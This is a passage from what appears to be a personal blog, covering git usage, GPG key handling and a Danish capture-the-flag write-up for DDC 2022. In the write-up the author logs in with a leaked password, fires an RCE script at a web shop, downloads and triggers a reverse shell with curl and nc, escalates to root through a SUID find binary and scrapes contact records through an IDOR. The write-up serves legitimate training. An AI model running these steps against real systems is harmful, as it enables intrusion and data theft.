Our changes are now ready to be committed, meaning their changes will be permanently (to some degree) saved.

Now we commit the staged changes, with the message “added .rs files and .gitignore”.

git commit -m "added .rs files and .gitignore"

A shorthand for almost all of the above, can be done, by adding the -a/--all flag to the commit command. -a automatically stages any modified or deleted files, but does not add new files, which git does not know about.

git commit -am "message"

Working with remotes

Our changes are now committed locally, but if we want the changes to be reflected a on remote repository, we first have to tell git about it. GitHub and GitLab are among the most used platforms for this.

Say I created a new repository on my GitHub account, named “learning-git”, I can now add this as a remote to my local repo. When doing this, I have to name my remote, origin is often used here.

git remote add origin https://github.com/tinggaard/learning-git

Or if your GitHub access is set up using an SSH key.

git remote add origin git@github.com:tinggaard/learning-git

Pushing and Pulling

To get the latest changes from origin locally, we use

git pull

The above command is actually a shorthand for the following two commands

git fetch # gets the remote's latest changes
git merge # applies the changes

Before pushing our local changes, we have to tell git which remote branch to use, using the -u/--set-upstream flag.

git push --set-upstream origin master

This only has to be done once. From now on git knows which branch to use when pushing from our master, meaning we can simply use

git push

Cloning

Say you want to work on a repository that has already been created, a you’ll instead need to clone it, using the clone command.

git clone https://github.com/tinggaard/learing-git

The remote project will now be cloned into learning-git inside the current directory. To choose another name for the local folder, simply append the name after the command.

git clone https://github.com/tinggaard/learning-git project

Note: The above commands also works with the SSH styling, as shown in the Working with remotes section.

Branches

Branching are very useful for implementing new features, without adding it directly to the master, before it has been tested and verified, so it won’t crash or interfere with the stable version.

Git automatically creates a branch for your first commit, this branch will be named master or main, if your repository was created on GitHub after to October 1. 2020. You can change the name of the default branch on GitHub here

Before we dive into how to work with branches, let’s talk about what HEAD is.

For git to know what branch you are currently working on, it creates a pointer to said branch, using the HEAD, which can be thought of as a symlink. This means that before creating another branch, your HEAD will point to master. But once you create and switch to another branch, HEAD will now point to said branch.

Because all branches also point to a specific commit, it means that once you switch to another branch, git updates your working tree according to the commit the branch points to. And as each commit also has a parent commit (except for the initial commit), a full history of each branch can easily be viewed.

Creating and navigating braches

Say we want to create a new branch to implement a new feature, we’d first have to create the branch.

git branch feature

And then switch to it (change HEAD pointer).

git switch feature

There is also a shorter version, for doing both of these commands at once, using the -c option on the switch command.

git switch -c feature

To merge two braches, we first need to switch to the branch to apply the merge to, and then merge.

git switch master
git merge feature

To delete a branch, (if it has been merged, or you just don’t need it).

git branch -d feature

Workflow with branches

I’ll again be using some of the graphics from the git book, as they explain it really well.

In the following example, create a new branch (iss53), to work on issue #53. After creating the branch, and committing some changes, our project looks like this.

git switch -c iss53 # HEAD still at C2 (iss53)
vim index.html # change files
git -am "Changed broken link #53" # HEAD now at C3 (iss53)

All the C’s represent commits.

But now something happens, and you have to create a hotfix for your project, so you switch to the master, and create another new branch (hotfix), based on C2, and commit the changes.

git switch master # HEAD now at C2 (master)
git switch -c hotfix # HEAD still at C2 (hotfix)
vim index.html # change files
git commit -am "Hotfixed bug" # HEAD now at C4 (hotfix)

Our project now looks like this.

After the hotfix has been verified, we decide to apply it to the master, by merging the two branches.

git switch master # HEAD at C2 (master)
git merge hotfix # HEAD, master, and hotfix all at C4 (master)

Because C2 and C4 are directly related, git simply moves the pointer to master forward, to also point to C4. This is called a “fast-forward”.

As we no longer have any use for the hotfix branch, we can delete it.

git branch -d hotfix

After this, we decide to go back to working on iss53, as more work still need to be done. Another commit is made, and the issue is resolved.

git switch iss53 # HEAD at C3 (iss53)
vim index.html # change files
git commit -am "Apply formatting for new link #53" # HEAD now at C5 (iss53)

But this time, our merge is not nearly as clean, as our two branches (master and iss53), are not directly related.

Git will have to do a “merge commit”, meaning it creates a new commit, referencing the merge. This is also special, because it has more than one parent (both C4 and C5).

git switch master # HEAD at C4 (master)
git merge iss53 # HEAD at C6 (master)

Git may complain if the two branches has merging conflicts, meaning they both change some of the same lines, and git does not know which version to keep.

If you have not changed your editor for git, it will most likely default to vim, which can be confusing if you haven’t used it before. Luckily the default editor can be changed, using the command below (which sets it to VisualStudio Code - requires download)

git config --global core.editor "code --wait"

This states that the default editor (for the current user), should be code (VisualStudio Code), the --wait argument, passed so the command won’t return until the editor is closed.

Pull Requests

When working on a bigger project with a team, you would never just merge two branches and push it, but instead create a pull request (named “merge request” on GitLab). The name originates from the fact that you request the owner of the repository to pull your branch into their code.

The point of the pull request is to allow for a QA developer (Quality Assurance), to test the code and request further improvements, if needed or straight up reject it. The owner / QA can of course also accept it, and merge it.

By default git does not list remote branches, unless explicitly told to

git branch --all

It’s possible to switch to a remote branch using the <remote>/<branch> syntax.

git switch origin/development

Say we created a branch locally, which does not exist on the remote, we need to tell git to push the branch to the remote

git push origin local-branch

Likewise if you’ve deleted a branch locally (git branch -d local-branch), you also need to delete it explicitly on the remote

git push origin --delete local-branch

Undoing stuff

One of the most common things is committing and forgetting to add a file, or mess up the commit message. To redo the latest commit, add any file you possible want to add to the commit, by using git add, and then commit again using the --amend option. This overwrites the most recent commit, with the newly staged files included.

To keep the commit message from earlier, pass the --no-edit option as well. --amend can also be used to edit the commit message, without adding new files.

git add forgotten_file
git commit --amend # -m "new message" or --no-edit

Unstaging

Say we changed multiple files, and only want to stage some of them, but accidentially added them all, so now we need to remove a file from the staging area, without undoing the changes made to the file itself. For this we use git restore with the -S/--staged option.

git restore --staged file

Unmodifying

To reset a file entirely (to HEAD), we use almost the same command

git restore file

This can only be done for files that git already knows, like if it has been renamed or modified. New files, cannot be deleted this way, but needs to be removed manually instead (rm file.ext), as git does not know about them.

To reset all files in the working tree to HEAD.

git restore .

Be careful! The above command will delete all unsaved work

Restoring old files

Files can also be restored from other commits/branches/tags, using the -s/--source option

git restore --source 4fed89a file # from commit checksum
git restore --source master~2 file # 2 commits beheind master
git restore --source HEAD~4 file # 4 commits beheind HEAD
git restore --source development file # development branch
git restore --source v1 file # v1 tag

This command can be combined with the -S/--staged option, to only restore the index (staging the file), instead of restoring it to the working tree. Restoring to the working tree is the default, but can be enforced alongside the index, by using the -W/--worktree option.

# file visible, but not staged in `git status`
git restore --source master~2 staged file
# file not visible, but staged in `git status`
git restore --source master~2 --staged file
# file visible, and staged in `git status`
git restore --source master~2 --staged --worktree file

The ability to restore previous versions of files, is really great, but must be utilized with caution, as it can also damage any work done, if not used wisely.

Closing thoughts

I highly recommend reading (at least part of) the git book, as it gives a really great insight to how git works, and how to optimize your workflow. Apart from that, man git <command> is really great for quickly looking up what the exact syntax is for that command you just forgot.

This was only a small insight to the powerhouse of git, it has much more to offer, but that is a topic for another day.

GNU Privacy Guard is an open source application of the PGP standard, with various frontends supported. It it widely used for a variety of use cases, namely verifying file integrity from the www, encrypting e-mails, and proving identities. It relies on public-key cryptography for the encryption, meaning generating a key, actually consists of a key-pair, one being secret, the other being public.

Using GPG

Generating Keys

Generate a key:

 gpg --full-generate-key

This will run your through a guided key generation, where you can choose key-type, key-size, expiration date, passphrase, and identity to attach it to.

We can now verify that we have generated a new key, by listing the keys in our keyring:

Listing Keys

gpg --list-keys
gpg --list-secret-keys

As the identities of the public/private key pair are indifferent, the commands will give the same output, apart from the pub / sec indication in front of the ID. The commands will differ in output, when you import a public key, for which you do not have the secret key. The key format can also be changed using the --keyid-format={none|short|0xshort|long|0xlong}

Fingerprints

The long key IDs can be hard to read for humans, and thus we have fingerprints, which basically splits the ID up into bits of 4, making them easier to read.

This can be used to compare fingerprints, to ensure that the public key you have, actually belongs to the person you think - by comparing fingerprints.

gpg --fingerprint

Here I can see that my publickey, has the fingerprint 79D5 CEBF BA7D 36FC B136 611A 006D 4674 33D5 A927.

Importing Keys

Importing keys can be done by specifying the key, as a local file on the computer:

gpg --import some.key

Where some.key, can be either a public or secret key.

Importing can also be done directly, reading from stdin.

curl "https://t1ng.dk/006D467433D5A927.asc" | gpg --import

Should you already have imported the key, gpg will tell you so.

Exporting Keys

Again, we will view the ID's of our keys:

gpg --list-keys

Exporting can be done either with binary keyfiles or as ascii text, with the -a / --armor flag.

gpg --export <key ID> > public.key

gpg --export --armor <key ID> > publickey.asc

The latter of the commands will give is a human-readable file, beginning with -----BEGIN PGP PUBLIC KEY BLOCK-----, whereas the first will fill up less disk-space, but be binary.

The binary file, does not have any magic number attached to it, so it will look like raw data.

file public.key
public.key: data

Exporting keys, can also be done, specifying the identity it is attached to:

gpg --export --armor Tinggaard > publickey.asc
gpg --export --armor mail@t1ng.dk > publickey.asc

The two commands will give the same output.

It is also possible to export a secret key.

gpg --export-secret-key --armor <key ID>

Deleting Keys

To delete a public key, use

gpg --delete-keys <key ID>

And to delete a secret key

gpg --delete-secret-keys <key ID>

Key Servers

Before we get to the more practical use cases of gpg, it is fundamental to know about keyrings, key servers, key signing and key trust.

Your keyring is the file stored on your computer, which holds all of your keys secret. To create an easier way to share keys, keyservers are here to help. A keyserver, is a server on the web, that stores keys from everyone who is willing to push them to said server. Likewise you can pull keys down from other people, assuming their keys are on the server.

Some of the most common key servers include:

• keys.gnupg.net
• keyserver.ubuntu.com
• pgp.mit.edu

To push a key to a key server

gpg --keyserver keys.gnupg.net --send-keys <key ID>

And to recieve a key

gpg --keyserver keys.gnupg.net --recv-keys <key ID>

To update keys already pulled (in case they have have expired, or new subkeys added etc.) do

gpg --keyserver keys.gnupg.net --refresh-keys

Key Signning

To sign a key, means to assign some value to it, indicating how much you trust it.

It can be done like so

gpg --sign-key <key ID>

Encryption

To encrypt a message, we need the recipients public key in our keyring, otherwise gpg does not know how to encrypt the message.

The examples below requires that you have the public key of user@example.com in your keyring, furthermore if you have not selected your amount of trust in this key, gpg will warn you.

The command below will ascii encrypt message with user@example.com's public key, and write the output to message.asc (default).

gpg --recipient user@example.com --encrypt --armor message

It is also possible to hide the identity of the recipient, meaning that the identity of the recipient is not included in the output. Decryption still works the same way, but just having the encrypted file, it is not possible to determine if you can decrypt it, because you do not know for whom it is addressed. This is done by replacing the -r / --recipient with -R / --hidden-recipient.

Signing

To sign a file, means that you encrypt it, using your own secret key, thus everyone can decrypt it with your public key, but knowing that it can only have originated from you.

There are various options for signing, including both signing and encrypting, resulting in a file encrypted for a specific recipient, signed by you.

It is also possible to change the secret key (not using the default key) used for the signing, using the -u / --local-user parameter.

• -s / --sign allows you to do a basic signing of a message, indicating that you are the author.
• --clearsign signins as ascii, (no --armor needed), and includes the original message as a header - as the data is not secret anyway, because everyone can read your public key.
• -b / --detach-sign signs a message, but does not include the message itself, meaning it needs to already be present on your computer, before the verification can take place.

To sign message, outputting message.gpg

gpg --sign message

To clearsign message, using a key, yielding message.asc

gpg --clearsign --local-user <key ID> message

To detach sign message, yielding message.sig

gpg --detach-sign message

Decryption

To decrypt a message, naturally you have to have the secret key, pairing with the public key, used for the encryption, in your keyring. Or the public key, if the message is signed.

Decrypting can be done of both encrypted, signed, as well as encrypted AND signed messages.

gpg --decrypt message.gpg

• Using -d / --decrypt on an encrypted message, yields the unencrypted message.
• Using -d / --decrypt on a signed message, shows the author, as well as the original message.
• Using -d / --decrypt on an encrypted, signed message shows the unencrypted message as well as the author.

Verifying

Verifying is only done on signatures, and does not show the do the decrypted message, but only verifies who the author of the message is.

To verify the authenticy of message, using the signature message.sig.

gpg --verify message.sig

This assumes you already have message in the same directory. However verifying can also be done of .asc and .gpg files created using --clearsign or --sign, which does not require the original message to be present.

If the filename is not exactly the same as the signature, apart from the .sig ending, gpg will fail. This can however be resolved, by specifying the file to verify as a second argument.

Assuming the file to verify is original and NOT message.

gpg --verify message.sig original

Symmetric Encryption

Symmetric Encryption does not require a public/private key pair, as the same key (password) is used for encryption and decryption. Instead the recipient and you, both need to know the password.

To symmetrically encrypt message to symmetric.asc use

gpg --symmetric --armor --output symmetric.asc message

gpg will then prompt you for a password to use for the encryption.

Abbreviations

Examples

List public keys

gpg -k

Encrypt and armor message for user@example.com.

gpg -ear user@example.com message

Sign and encrypt message for user@example.com, and write it to sig_enc.gpg

gpg -seau <key ID> -r user@example.com -o sig_enc.gpg message

Detach-sign and armor message and write the output to signature.sig.

gpg -bao signature.sig message

And of course the infamous manual, or simply a quick search on the web.

man gpg

Preface

This is a writeup of the CTF for qualifying to the danish national cybersecurity team. As the CTF is in danish, the writeup will be likewise.

Det har været super fedt at kunne være en del af DDC 2022, og forsøge sig med alle de mange forskellige typer af opgaver. Jeg føler allerede at jeg har lært en del, siden sidste års kvalifikation.

Nogle opgaver har jeg brugt længere tid på end andre, men det lykkedes mig alligevel at få 15/15, hvilket jeg er rigtig godt tilfreds med. Især når jeg føler at mine skills inde for bin / rev er lige omkring inteteksisterende.

Web Exploitation

Jacobs Hus

Sværhedsgrad: Meget Let
Haaukins API: Ja
Beskrivelse:

det det det det, det det det det det jacobs hus: http://jacobshus.hkn

På hjemmesiden bliver man præsenteret med følgende besked:

Så jeg besøgte naturligvis /robots.txt, hvilket gav følgende resultat:

User-agent: *
Disallow: /backup

/backup giver en directory listing, med en enkelt fil: hemmelig.txt.

Udover at filen indeholder nogle karkterer, som ikke er encoded ordentligt, så bliver man præsenteret med følgende (afkortet).

husk nu din kode til husets indgang!

koden er: 'kodeord'

og du kommer ind med ssh
HEHEHEHHEHEHEHEHHEHEHEH

Hallo?
Kom ind, kom ind
Du ved det

Der altid vildt i jacobs hus
Og der gået ild i jacobs hus
Der ikk' noget tag på jacobs hus
Det er blæst af på jacobs hus

--- afkortet --- 

Det ser ud til at være teksten til sangen “HUS” med Specktors & Nonsens, hvor “vores” er erstattet af “jacobs”.

Dog er de første par linjer et hint til hvad vi skal gøre for at komme videre. Vi prøver med SSH på domænet, som jacob.

ssh jacob@jacobshus.hkn

Og vi får en shell!

ls giver dog intet, for jacobs hjemmemappe. Til gengæld giver id os noget at arbejde med

$ id
uid=1000(jacob) gid=1000(jacob) groups=1000(jacob),27(sudo)

# vi kan altså blot sudo
$ sudo su

Efter at have skrevet kodeordet (kodeord) endnu en gang, er vi pludselig root. Og i roots home directory ligger mindsandten et flag!

$ cat /root/flag.txt
DDC{d3t_d3t_d3t_d3t_d3t_d3t_d3t_j4c0bs_hus}

Flag: DDC{d3t_d3t_d3t_d3t_d3t_d3t_d3t_j4c0bs_hus}

Forretningen

Sværhedsgrad: Mellem
Haaukins API: Ja
Beskrivelse:

Alle de ting man kan købe på http://forretningen.hkn, omg waw

forretningen.hkn byder på en webshop, hvor du kan købe alt fra fashion, til teknologi.

Jeg brugte noget tid på at gennemsøge de mange directories, som er blookeret i robots.txt:

User-agent: *
Disallow: /cgi-bin/
Disallow: /admin/
Disallow: /checkout/
Disallow: /content/cache/
Disallow: /control/
Disallow: /docs/
Disallow: /install/
Disallow: /logs/
Disallow: /product-downloads/

Samt at se om man kunne lave noget directory traversal. Dog alt sammen uden held…

Til sidst søgte jeg blot på det framework som er blevet brugt til at lave hjemmesiden på nettet.

Der kommer to meget interessante resultater op, først et på exploit-db.com, samt et på GitHub.

Det viser sig nemlig at man kan udføre unauthenticated RCE på hjemmesiden.

Det skulle naturligvis prøves, så jeg tog scriptet fra GitHub, og copy-pastede det ind i VMen og kørte det op mod hjemmesiden.

$ python3 maian-cart-rce.py "http://forretningen.hkn" /

Nu har vi en shell!

Dog med det forbehold, at det blot er enkelte kommandoer vi sender af gangen, så vi kan f.eks. ikke skifte directory.

Vi kan dog stadig kalde enkelte kommandoer, som f.eks. at køre en faktisk reverse shell, hvilket findes på GitHub. Det eneste der ændres er IPen 77.197.4.4 og porten 9001 i dette tilfælde. I directoriet for rev.php nu ligger, laves en webserver python3 -m http.server - kører som standard på port 8000.

Nu kan vi fra vores RCE shell hente php filen, med curl http://77.197.4.4:8000/rev.php > rev.php Efter dette er gjort, sætter vi en netcat listener op, på vores egen maskine, sådan at reverse-shellen fanger noget.

# sætter en listener op til reverse shell fra serveren, på klienten
$ nc -lvpn 9001
# kører `php rev.php` på serveren, hvorefter vi er "inde".
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Nu vil vi gerne privilege escalere, da www-data ikke har særlig mange rettigheder. En klassisk måde at gøre dette på, er ved at lede efter filer med SUID sat.

Dette kan gøres med find kommandoen:

$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
-rwsr-xr-x 1 root root 76496 Jan 25 16:26 /usr/bin/chfn
-rwsr-xr-x 1 root root 238080 Nov  5  2017 /usr/bin/find
-rwsr-xr-x 1 root root 59640 Jan 25 16:26 /usr/bin/passwd
-rwsr-xr-x 1 root root 75824 Jan 25 16:26 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 44528 Jan 25 16:26 /usr/bin/chsh
-rwsr-xr-x 1 root root 40344 Jan 25 16:26 /usr/bin/newgrp
-rwsr-xr-x 1 root root 26696 Sep 16  2020 /bin/umount
-rwsr-xr-x 1 root root 43088 Sep 16  2020 /bin/mount
-rwsr-xr-x 1 root root 44664 Jan 25 16:26 /bin/su

Vi kan nu gå på GTFOBins, for at se om der er nogle af disse programmer, som kan bruges til at få en eleveret shell.

Og der er bingo! Selve find kommandoen som vi lige har brugt, kan bruges, da den beholder rettighederne, efter at have kørt med SUID.

$ find . -exec /bin/sh -p \; -quit
# der kommer ingen repons, da vi kører inden i `find` kommandoens miljø
$ id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
# vi har nu Effective User ID (EUID) som root...
$ cd /root
# altid et godt sted at starte
$ ls
flag.txt
# der var vi heldige
$ cat flag.txt
DDC{l4D_m1G_h4ck3_d3n_f0rr3tn1ng_h3h3h3h3h3h3h3}

Flag: DDC{l4D_m1G_h4ck3_d3n_f0rr3tn1ng_h3h3h3h3h3h3h3}

House of vCards

Sværhedsgrad: Let
Haaukins API: Ja
Beskrivelse:

Jeg har lavet en ny smart side, så folk kan holde styr på alle deres kontakter, men jeg er lidt nervøs for at have så meget personfølsom data liggende. Kan du tjekke siden igennem og se, hvad du kan få adgang til? http://contacts-vault.hkn

Igen starter vi på hjemmesiden, som er givet.

Man kan enten logge ind, eller oprette en bruger. Vi starter med at oprette en, for at få adgang.

Efter vi er logget ind, kan vi oprette kontakter. Vi prøver at oprette en, for at se hvad der sker.

URLen for den oprettede bruger er interessant, da vi får et ID givet. De tre nedenstående links, er hvad de tre knapper henviser til.

vCard: http://contacts-vault.hkn/files/vcards/201.vcf
Edit: http://contacts-vault.hkn/contacts/edit/201
Delete: http://contacts-vault.hkn/contacts/delete/201

Kontakten vi har oprettet har altså id 201. Vi kan jo forsøge at hente hans data, uden at være logget ind. Dette gøres med curl.

$ curl http://contacts-vault.hkn/files/vcards/201.vcf
BEGIN:VCARD
VERSION:3.0
FN:John Doe
N:John;Doe;;
EMAIL;john@example.com
TEL;:123
END:VCARD 

Det virkede!

Nu kan vi altså forsøge at hente alle filerne op til ID 201.

$ curl http://contacts-vault.hkn/files/vcards/[1-200].vcf
BEGIN:VCARD
VERSION:3.0
FN:Peggy Wolfe
N:Peggy;Wolfe;;
EMAIL;moonkimberly@example.org
TEL;:366-932-5061
END:VCARDBEGIN:VCARD
VERSION:3.0
FN:Katherine Casey
N:Katherine;Casey;;

--- afkortet ---

# der kommer rigtig meget ouput efter denne kommando, 
# så vi kører den igen, og grepper efter et flag.
# derudover sætter vi curl til at køre `silent`, med -s

$ curl -s http://contacts-vault.hkn/files/vcards/[1-200].vcf | grep DDC
EMAIL;DDC{b3tt3r_f1x_th4t_IDOR_vuln_b3f0r3_n3xt_GDPR_4ud1t}

Flag: DDC{b3tt3r_f1x_th4t_IDOR_vuln_b3f0r3_n3xt_GDPR_4ud1t}

Cryptography

Defeating Caesar

Sværhedsgrad: Meget Let
Haaukins API: Nej
Fil: Download
Beskrivelse:

En af de ældste former for kryptering er cæsar-ciferen, hvor hvert bogstav roteres af en hemmelig nøgle. Kan du dekryptere flaget?

Caesar cipheren er en klassisk (omend elendig) “kryptering”. Her er brugt et dansk alfabet, og vi ved ikke hvor meget alfabetet er roteret med, heldigvis har vi scriptet som er brugt til at lave cifferteksten.

Det vigtigste er dette:

def add(a, b):
    # Ignore spaces
    if a in string.whitespace:
        return a
    return alphabet[(alphabet.index(a) + alphabet.index(b)) % len(alphabet)]

def caesar_encrypt(key, text):
    ciphertext = ""
    for i in range(len(text)):
        ciphertext += add(text[i], key)
    return ciphertext

Vi kan nu blot skrive en ny funktion, til at dekryptere med, og så prøve med alle keys i alfabetet len(alphabet) = 29.

Det eneste der er ændret i nedenstående kode er, at sub trækker de to værdier fra hinanden, i stedet for at lægge dem sammen.

Faktisk kan den også løses, blot ved at køre krypteringen igen, da det hele står modulo af længden af alfabetet. Dog ville man ikke finde frem til den originale nøgle som er brugt til krypteringen.

import string

alphabet = 'abcdefghijklmnopqrstuvwxyzæøå'

def sub(a, b):
    # Ignore spaces
    if a in string.whitespace:
        return a
    return alphabet[(alphabet.index(a) - alphabet.index(b)) % len(alphabet)]

def caesar_decrypt(key, cipher):
    text = ""
    for i in range(len(cipher)):
        text += sub(cipher[i], key)
    return text

def main():
    with open('encryption.txt', 'r', encoding='utf-8') as f:
        cipher = f.read()

    for key in alphabet:
        guess = caesar_decrypt(key, cipher)
        if guess[:3] == 'ddc':
            print(guess)
            print(f'Key used: {key}')
            break

if __name__ == '__main__':
    main()

python decrypt.py
ddc super classical crypto
Key used: y

Flag: DDC{super_classical_crypto}

Le Chiffrage Indéchiffrable

Sværhedsgrad: Let
Haaukins API: Nej
Fil: Download
Beskrivelse:

En mere avanceret substitutionsciffer er vignere ciffer, hvor en længere nøgle bruges til at forhindre brute force angreb. Den krypterede tekst er på dansk, måske kan det hjælpe at vide dette?

Efter at have set på koden, konstaterer jeg ret hurtigt, at det er en implementering af Vigenrére Cipher. Det er i bund og grund en udviddet ROT (Caesar) Cipher, hvor man krypterer med forskellige rotationer (keys), defineret ud fra et keyword.

Vores opgave er nu, at finde frem til dette keyword, som altså har en længde på 6 cifre. Derudodver ved vi at den originale tekst, er skrevet på dansk, hvilket gør at vi kan lave noget frekvensanalyse af bogstaverne.

Som ved Caesar opgaven, laves blot funktioner, til i stedet at finde differancen mellem to bogstaver. Og ved så at se på opbygningen af teksten, kan man give kvalifecerede bud på, hvad dele af nøglen er, til at dekryptere teksten.

import string

alphabet = 'abcdefghijklmnopqrstuvwxyzæøå'

def sub(a, b):
    # ignore spaces and newlines
    if a in string.whitespace:
        return a
    # rotate character by the key character's index in the alphabet
    return alphabet[(alphabet.index(a) - alphabet.index(b)) % len(alphabet)]

def vignere_decrypt(key, text):
    cleartext = ""
    for i in range(len(text)):
        cleartext+= sub(text[i], key[i%len(key)])
    return cleartext

def main():
    with open('encryption.txt', 'r', encoding='utf-8') as f:
        text = f.read()

    key = 'aaaaaa'

    cleartext = vignere_decrypt(key, text)
    print(cleartext)

if __name__ == '__main__':
    main()

Nu kan vi så begynde at se på teksten til, og f.eks. få det til at passe med at enkeltstående bogstaver, skal være i’er. Af enkeltstående bogstaver, findes både h, t og u. For at blive til et i, skal de hver især roteres med hhv. å, l og m.

Nedenstående kode, kan bruges til at finde det bogstav som er brugt til at komme fra original til letter.

alphabet = 'abcdefghijklmnopqrstuvwxyzæøå'

def rotate(original, letter):
    return alphabet[alphabet.index(letter) - alphabet.index(original)]

For at vi ved hvilken af pladserne i vores key, vi skal erstatte, kan vi se på hvor i teksten bogstaverne opstår. Nøglen gentages hele vejen gennem teksten, til der ikke er mere tilbage at kryptere. Det betyder at vi blot kan udregne \((index-1) \mod{6}\), for at se hvilken plads i nøglen der skal erstattes.

Vi ser på den første enkeltstående karakter i cifferteksten, som er et h, på index 390, dog skal vi huske at trække \(1\) fra, inden vi udregner modulus, da python starter indexes ved 0 og editoren ved 1.

Index 5 af vores nøgle skal altså være et å, hvis vi antager et h‘et er et i.

Det samme gøres for hhv. t og u, hvorved vi får den foreløbe nøgle: almaaå.

Hvis vi kører dekrypterings-programmet fra før, med denne nøgle, kan vi nu se på om noget af teksten giver mening, og give yderligere kvalificerede bud på, hvad de andre bogstaver i nøglen er.

$ python ./decrypt.py
celøomwen tiv duc  flrgea kcmmor åigo oa lsdt huåk rt ailwøjo tiboøgkåamwer ruxdt om flrgea lzge soa avle annre flkg cg bdsøifa
mvllomrimexe aed unueråcofes    flkgeh eø     ndc frokvvns anrlyåe då nangk aexh
--- afkortet ---

Allerede det første ord, kunne jo godt danne ordet “velkommen”. Igen bruger vi den korte stump af kode, til at udregne hvad forholdet mellem c og v er, samt ø og k. Her får vi hhv. k og r, hvilket skal sættes ind på index 0 og 3.

Nøglen er nu: klmraå, og vi kører programmet igen:

$ python ./decrypt.py
velkommen til ddc  flaget kommer lige om lidt husk at tilføje tuborgklammer rundt om flaget lige som alle andre flag og udskift
mellemrumene med underscores    flaget er     ddc frekvens analyse på dansk text
--- afkortet ---

Den efterfølgende tekst (afkortet) er fra den danske wikipedia om flag.

Flag: DDC{frekvens_analyse_på_dansk_tekst}

Modularity

Sværhedsgrad: Mellem
Haaukins API: Nej
Fil: Download
Beskrivelse:

Moderne krypteringssystemer gør stor brug af modulære aritmetiske og algebraiske operationer. Her er et hjemmebygget krypteringssystem baseret på disse operationer, kan du implementere dekryptering og knække chifferteksten? Chifferteksten er krypteret med en firecifret streng, mellem 0000 og 9999

Nu begynder det at ligne kryptografi, da vi skal regne med modulus og store primtal…

Jeg har heldigvis skrevet om kryptografi i 3.g, da vi skulle skrive SOP (se bare her…) Det er dog nogle år siden, så jeg måtte bruge noget tid på at opfriske en hel del af teorien, samt en masse søgninger på nettet.

Jeg vil dog godt komme med en disclaimer ift. min forklaring, da den er meget flydende på nogle punkter Det er ikke alt det matematiske jeg har så godt styr på forklaringen bag, så nogle ting må bare tages for givet, eller du må selv læse op på det. Jeg har forsøgt at forklare det så godt som muligt, uden at skrive en halv roman.

Derudover har jeg oprettet mit eget flag, krypteret det med algoritmen, og sammenlignet tallene, ved at forsøge at bryde mit eget flag, da jeg på den måde kan verificere at jeg har regnet rigtigt.

Selve krypteringen består af en enkelt linje.

encryption = pow((a*encryption + b)%p,c,p)

For at skrive det mere matematisk:

Vi starter udefra og ind, så til at starte med, forsøger vi at isolere følgende udtryk:

Alt dette kan heldigvis lade sig gøre, \(p\) er et primtal, og ingen af de andre tal (enkeltstående) er større end \(p\), hvilket betyder at de er indbyrdes primiske.

Python har heldigvis en indbygget funktion til at udregne inverse elementer, med syntaksen pow(a, -1, n) Hvor a er den konstant som multipliceres med med returværdien, modulo n, for at få \(1\).

Grunden til at det inverse elemente er interessant, er at det bruges til at udregne den originale værdi, inden pow(), ved brug af et primtal. Jeg har også fået lidt hjælp fra stackoverflow <3.

Springer man over den lange forklaring, kan vi udregne produktet af parentesen, ved at udregne følgende:

Vi udregner altså det inverse element, modulo \(\phi\) (phi), som i dette tilfælde er \(p-1\), da \(p\) er et primtal. Denne værdi kaldes \(d\), og vores ciffertekst, opløftes nu i \(d\), modulo \(p\), hvorved resultatet bliver den indre værdi af førnævnte parentes.

Nu mangler vi altså bare at reverse (a*encryption + b) % p.

Det lette er b, som blot trækkes fra, og resultatet sættes modulo \(p\), hvorved vi kun står tilbage med (a*encryption) % p.

For at reverse dette stykke, skal vi gøre noget af det samme som før, blot med \(p\) i stedet for \(\phi\). Matematikken bag dette, er at hvis man ganger med det inverse element (mod p), svarer det til at gange med den reciprokke, hvilket er hvad vi gerne vil, for at isolere den ene faktor.

Dette står nærmere beskrevet på wikipedia. Eksemplet gør sig gældende her, da vi med sikkerhed ved at \(gcd(a, p) = 1\), fordi \(p\) er et primtal, større end \(a\).

Nedenfor beskrives encryption, som \(x\), da det er den ukendte.

Kan udledes til

Hvis

\(gcd\) er “greatest common divisor”, altså det største tal, som går op i både \(a\) og \(p\), hvilket som sagt altid er \(1\), for alle tal, med et primtal større end sig selv.

Alt i alt ser det sådan ud:

# reverse pow(), brug af eulers phi-funktion
d_1 = pow(c, -1, phi)
inner = pow(ciphertext, d_1, p)

# simpel subtraktion
product = (inner - b) % p

# isolation af faktor, ved brug af inverst element
d_2 = pow(a, -1, p)
ciphertext = (product*d_2) % p

Nu mangler vi blot at gentage denne process 128 gange, samt at brute-force de 10000 muligheder vi har for et seed til random biblioteket.

samlet ser koden ud som følger:

import random

p = 97953958723054470944201407781333999671402425802271290596631886639255617548503
phi = p-1
cipher = 69494773765711558796303044899201719046500256450239245029456014825686379192778

def decrypt(ciphertext, pw):
    random.seed(pw)
    
    l = []
    for _ in range(128):
        a = random.randint(2,2**255)
        b = random.randint(2,2**255)
        c = random.randint(2,2**255)
        if c%2 == 0:
            c -= 1

        l.append([a, b, c])

    for round in range(1, 129):
        a, b, c = l[-round] 

        d_1 = pow(c, -1, phi)
        inner = pow(ciphertext, d_1, p)

        product = (inner - b)%p

        d_2 = pow(a, -1, p)
        ciphertext = (product*d_2)%p

    return ciphertext

def main():
    for i in range(10000):
        pw = str(i).zfill(4)
        dec = decrypt(cipher, pw)

        flag = int.to_bytes(dec, (dec.bit_length() + 7) // 8, 'big')

        if flag.startswith(b'DDC{'):
            print(pw)
            print(flag)
            break

if __name__ == '__main__':
    main()

$ python decrypt.py
0403
b'DDC{youtu.be/wfG6z5J4PRI}'

Flaget henviser til denne video. (Så vidt jeg husker).

Flag: DDC{youtu.be/wfG6z5J4PRI}

Misc

The Artist

Sværhedsgrad: Let
Haaukins API: Ja
Beskrivelse:

Gå til http://friendspace.hkn Hvem har taget billedet af turtelduerne?

Vi opretter en bruger og logger ind.

Efter at dette er gjort, er vi præsenteret med en UI, som umiskendeligt ligner en kopi af Facebook. Opgaven spørger ind til, hvem der har taget billedet af turtelduerne, og det ses at “Linda Jefferson” har lagt et billede op med beskrivelsen “Broccolooooove with my dearest! <3”.

Vi henter billedet og inspicerer det nærmere.

$ curl http://friendspace.hkn:5000/uploads/lindajeff1.jpeg -o billede.jpeg
$ eog billede.jpeg

